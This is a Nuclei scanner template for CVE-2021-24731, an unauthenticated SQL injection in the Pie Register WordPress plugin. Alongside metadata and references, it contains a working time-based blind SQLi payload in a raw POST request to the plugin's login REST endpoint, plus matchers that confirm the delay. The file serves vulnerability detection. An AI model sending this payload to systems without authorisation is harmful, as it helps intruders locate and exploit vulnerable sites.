nuclei-templates/http/cves/2021/CVE-2021-24731.yaml

50 lines
2.0 KiB
YAML
Raw Normal View History

2023-06-05 07:03:16 +00:00
id: CVE-2021-24731
info:
name: Pie Register < 3.7.1.6 - SQL Injection
author: theamanrawat
severity: critical
description: |
The Registration Forms User profile, Content Restriction, Spam Protection, Payment Gateways, Invitation Codes WordPress plugin before 3.7.1.6 does not properly escape user data before using it in a SQL statement in the wp-json/pie/v1/login REST API endpoint, leading to an SQL injection.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 12:09:01 +00:00
remediation: Fixed in version 3.7.1.6
2023-06-05 07:03:16 +00:00
reference:
- https://wpscan.com/vulnerability/6bed00e4-b363-43b8-a392-d068d342151a
- https://wordpress.org/plugins/pie-register/
- https://nvd.nist.gov/vuln/detail/CVE-2021-24731
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24731
cwe-id: CWE-89
epss-score: 0.14786
epss-percentile: 0.95303
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
2023-06-05 07:03:16 +00:00
metadata:
verified: "true"
2023-09-06 12:09:01 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: genetechsolutions
product: pie_register
2023-09-06 12:09:01 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,sqli,wpscan,wordpress,wp-plugin,wp,pie-register,unauth,genetechsolutions
2023-06-05 07:03:16 +00:00
http:
- raw:
- |
@timeout: 10s
POST /wp-json/pie/v1/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
user_login='+AND+(SELECT+8149+FROM+(SELECT(SLEEP(3)))NuqO)+AND+'YvuB'='YvuB&login_pass=a
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "User credentials are invalid.")'
condition: and
# digest: 4a0a00473045022100ef5a224bdcc136975dc77c6c6a06950e4a5c9892db210890f5ec297e62f447da022027a1045684b1e16940b9710bbf59c92a481cb959e5fe48542c121922ff6d17bb:922c64590222798bb761d5b6d8e72950